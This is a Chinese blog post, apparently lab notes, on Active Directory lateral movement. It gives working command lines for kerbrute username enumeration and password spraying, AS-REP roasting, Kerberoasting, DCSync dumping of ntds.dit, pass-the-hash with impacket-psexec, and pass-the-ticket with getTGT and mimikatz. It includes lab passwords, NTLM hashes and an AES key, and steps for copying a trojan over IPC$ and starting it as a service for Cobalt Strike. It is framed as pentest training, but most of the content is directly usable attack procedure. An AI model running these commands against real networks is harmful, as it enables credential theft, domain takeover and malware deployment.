当前位置: 首页 > web >正文

域内横向移动

1. 域内横向移动方式

工作组下的横向移动方式也同样的适用,域内横向移动在原本的工作组横向移动的基础上加了一些东西。

如果说你要攻击一个域,那你就必须拿到用权限的账户。

哪些用户有权限:

administrator

domain admins 组中的用户

如何拿下有权限的账户?接下来讲的就是怎么拿下有权限的账户。

拿下有权限的账户怎么搞?

1.1. 内网的情景

入口机器是一台linux,内网的其他主机是一个域
入口机器在工作组,内网的其他主机是一个域
入口机器在域内,与内网其他主机构成一个域
出现前两种的情况,我们想要攻击域,或者拿下域,就必须有一个域内的合法账户

1.2. 用户名枚举

1.2.1. 什么情况下使用用户名枚举

原因:在域内的机器可以通过 net user /domain查询域内所有用户,就没必要枚举,不在域内的机器是无法通过 net user /domain 查询域内用户
这个用户名枚举的攻击方式,只适用与入口机器不在域内。如果入口机器在域内就不需要枚举。

1.2.2. 如何使用用户名枚举

工具:kerbrute
下载地址:https://github.com/ropnop/kerbrute
注意:在做用户名枚举的时候,你不可能把所有的用户名都枚举出来,因为你的字典是有限的
  1. 使用
kerbrute_windows_amd64.exe userenum --dc 10.10.10.90 -d sis2504.club C:\Users\web\Desktop\用户名.txt

1.2.3. 用户名枚举的原理是什么

与web渗透中的登录框的用户名爆破一样。

1.3. 密码喷洒

1.3.1. 密码的爆破

专一,对着一个用户,爆破密码
使用场景:没有用户锁定机制,那么你可以用这种方式,有的话就不行
使用命令:kerbrute_windows_amd64.exe bruteuser --dc 10.10.10.90 -d sis2504.club C:\Users\web\Desktop\密码.txt zhangli

1.3.2. 密码的喷洒

用一个密码,喷洒多个用户
使用场景:有用户锁定机制的情况下,要使用密码喷洒的方式
一般你需要抓一下入口机器这台的密码,然后获取这台主机的密码,在做密码的喷洒
使用命令:
kerbrute_windows_amd64.exe passwordspray --dc 10.10.10.90 -d sis2504.club C:\Users\web\Desktop\yhm.txt "FLW.com12138a"

1.4. 用户名枚举和密码喷洒做完之后的应该做什么

  1. 只拿到了域内的低权限的用户
可以通过 nxc枚举出来所有的用户,再做密码喷洒
nxc ldap $ip -u $user -p $password --users
nxc ldap 192.168.7.45 -u administrator -p FLW.com12138a --users

  1. 拿到了域内高权限的用户
建立IPC$,创建服务上线
net use \\192.168.7.45\IPC$ "FLW.com12138a" /user:sis2504.club\administrator
copy 木马 
创建服务,上线CS

1.5. Roasting

发生在kerberos认证中的as-req阶段,问题是因为用户在认证的时候勾选了需要进行域身份认证。

情况:勾选了不要求kerberos预身份认证。

导致结果:不需要提供密码就可以获取TGT。

利用:破解这张TGT就可以获取到该用户的密码。

  1. 查询域内勾选了不要求kerberos预身份认证的用户
通过bloodhound查询域内勾选了不要求kerberos预身份认证的用户

  1. 获取勾选了不要求kerberos预身份认证的用户的票据
使用nxc
nxc ldap 192.168.7.49 -u zhangli -p "FLW.com12138a" --asreproast output.txt

  1. 破解tgt票据
工具:hashcat -- 内存必须大于8G
hashcat -m18200 output.txt wordlist

总结:对于Roasting攻击来说可能破解出来的密码有两种情况

  1. 高权限
如果是高权限账户,直接就是IPC$
  1. 低权限
通过nxc枚举出所有的用户(不在域内的情况下,在域内直接使用 net user /domain即可),接着对枚举出来的用户做密码喷洒,然后看是否能出来高权限的账户,然后弄他。

1.6. DCSync

原本的意思:域消息同步协议,一般在域内有两台域控,一台域控平时正常工作,另一台是正常工作的域控死了,他就顶上来了,顶上来就意味着会出现一个问题,正常工作的时候的信息是不是注册在平时的域控主机上,不会注册在备份域控上,无法达到一个消息同步的状态,所以就出了这么个协议,最终的DCSync读取的是域控制器上的ntds.dit文件 (与本地工作组环境中SAM相似)

根本:域控之间的消息同步

哪些用户具有DCSYNC的权限

administrator
Domain admins 组中的用户
域内的机器用户
  1. 通过bloodhound查询具有dcsync的权限用户

  1. 进行利用
nxc smb 192.168.7.49 -u zhangli -p "FLW.com12138a" --ntds vss

  1. 获取到hash之后怎么办
PTH (Pass The hash)通过hash建立链接,反弹shell
psexec
smbexec
wmiexec
impacket-psexec sis2405.club/administrator@192.168.7.49 -hashes aad3b435b51404eeaad3b435b51404ee:937b842c7cfa612cc40196a5d89b4823

1.7. Kerberoasting

发生在tgs-rep阶段,破解ST票据,ST由两部分组成,第二部分使用提供服务的机器/用户的hash加密的部分。

补充:

spn:域内提供服务,一个服务会对应一台机器或者一个用户,为了方便域内的用户使用或者查询域内的服务,通过spn形成了一张表,方便用户做查询。把一个楼看成一个域,这栋楼总共有3层
1剪头发 -- 洗、剪、吹、烫、染
2洗浴 -- 泡澡、淋浴、拔罐、搓澡
3按脚 -- 泰式、spaspn服务清单,方便域内的用户去查询我应该去什么地方找什么服务,一般spn可以注册在用户下面,也可以注册在域内的机器用户下面。
  1. 环境的配置
setspn -S MSSQLSvc/sql.sis2504.club:1433 sis2504.club\zhangli
  1. 如何查询域内的SPN
Setspn -Q */*

  1. 利用注册在域用户下的spn

注册在低权限账户下的spn

  1. 通过nxc工具申请注册在低权限账户下的spn的票据(ST)
nxc ldap 192.168.7.49 -u zhangli -p FLW.com12138a --kerberoasting output.txt

  1. 通过hashcat破解
hashcat -m13100 output.txt wordlist.txt

1.8. 总结

通过上述的所有方式,你会发现我们获取到的不是密码就是hash,实际上还有一种就是aes256值(密码通过aes256加密之后生成的内容与ntlm-hash的作用一样)

1.8.1. 获取到明文密码的时候做什么

  1. 哪些方式可以获取明文密码
用户枚举密码喷洒
破解TGT Roasting
破解ST Kerberoasting
  1. 之后干什么
建立IPC$
net use \\IP\IPC$ "passwords" /user:domian/用户名在域内哪些用户建立IPC$ 之后有权限呢?
administrator和domain admins组中的用户(zhongsiyu)copy 木马
设置服务上线即可

1.8.2. 获取到密文

获取到ntlm-hash或者aes-256的值我们应该怎么弄
pth
psexec
smbexec
wmiexec

1.8.3. 域内禁用了IPC的认证和NTLM认证

就需要学习一种新的方法叫做PTT(Pass the ticket)和PTK(Pass the key),

ptk中的key怎么获取

工具:secretsdump
secretsdump.exe hack.com/administrator:Lyp010822%@192.168.41.10
secretsdump.exe sis2504.club/administrator@10.10.10.90

PTT的方式获取到目标主机的权限

PTT全称:Pass The Ticket -- Ticket票,kerberos中有2张TGT,ST,我们可以通过密码或者hash或者ase-256-key的值获取票据,通过将票据注入到内存中使该主机对域的域控有访问权限。
  1. 通过明文密码申请票据
  • 申请票据
getTGT.exe sis2504.club/fanwei
对应的会生成一个ccache的文件 -- 票据(TGT)

  • 注入内存
mimikatz
klist purge #清空票据
在mimikatz的终端 
kerberos::ptc 票据的文字 #将票据注入到内存中

  • 访问
dir \\10.10.10.90\C$
注意有的时候域内是不认IP的你需要将IP变成机器名
dir \\WIN-EB8RC552TFJ\C$
dir \\WIN-EB8RC552TFJ.sis2504.club\C$

c

  • 上线
copy 木马
服务上线即可
  1. 通过hash申请票据
  • 申请票据
aad3b435b51404eeaad3b435b51404ee:937b842c7cfa612cc40196a5d89b4823getTGT.exe sis2504.club/fanwei -hashes aad3b435b51404eeaad3b435b51404ee:937b842c7cfa612cc40196a5d89b4823

  • 注入内存
klist #查看票
klist purge #清除内存中的票据
kerberos::ptc test002.ccache
  • 访问
dir \\WIN-EB8RC552TFJ\C$
  • 上线
copy 木马
服务上线即可
  1. 通过ase-256申请票据
dd999b72301582631e7ba234bcde0587625a9bf2a1d1200871d4890b76dea34c
getTGT.exe sis2504.club/administrator -aesKey dd999b72301582631e7ba234bcde0587625a9bf2a1d1200871d4890b76dea34c

  • 注入内存
清除票据
klist purge
使用mimikatz将票据注入内存
kerberos::ptc 票据名
  • 访问加上线
dir \\WIN-EB8RC552TFJ\C$
copy xx.exe \\WIN-EB8RC552TFJ\C$
服务上线即可
http://www.xdnf.cn/news/19748.html

相关文章:

  • uni-app iOS 应用版本迭代与上架实践 持续更新的高效流程
  • 教你 Centos 如何离线安装 rlwrap 插件(内网环境)
  • 【React】Redux
  • checkBox支持拖拉拽调动位置,改变布局和选择值的顺序
  • MySQL 事务的“暗面”与“高光”:故障、调优与案例复盘
  • 网络编程 socket——TCP
  • Leetcode 3665. Twisted Mirror Path Count
  • 江协科技STM32学习笔记补充之001。为什么C语言在对STM32编程过程中的二进制要用十六进制来进行读写。而不能直接用二进制来进行读写。
  • “人工智能+”时代的端侧AI:算力下沉与实时视频的新基座
  • 36. Ansible变量+管理机密
  • leetcode-python-1796字符串中第二大的数字
  • Python OpenCV图像处理与深度学习:Python OpenCV对象检测入门-Haar级联分类器与人脸检测
  • SpringCloud框架组件梳理
  • SQL Server从入门到项目实践(超值版)读书笔记 25
  • go语言面试之Goroutine 数量控制, GC回收 和任务调度
  • JimuReport 积木报表 v2.1.3 版本发布,免费开源的可视化报表和大屏
  • 2025 金融行业证书怎么选?从能力适配到职业方向的理性梳理
  • 别让你的 AI 对话烂在聊天记录里!
  • 马健涛事件折射出中国音乐产业转型期的深层矛盾,最终解决之道在于完善我国音乐版权鉴定的技术标准
  • Linux系统之----客户端服务器设计(共享内存)
  • 一文通透!为什么 DBSCAN 能检测任意形状的簇 ?
  • 【开题答辩全过程】以 校园帮帮团跑腿系统的设计与实现为例,包含答辩的问题和答案
  • Redis持久化:RDB与AOF,五分钟快速掌握
  • React 第七十一节 Router中generatePath的使用详解及注意事项
  • 1. 从零开始搭建微服务架构1.0(登录模块)
  • 首屏优化讲解
  • springboot:数据校验
  • 【光照】Unity中的[光照模型]概念辨析
  • nginx关于root
  • AI使用指南:9月开学季,自动生成教学PPT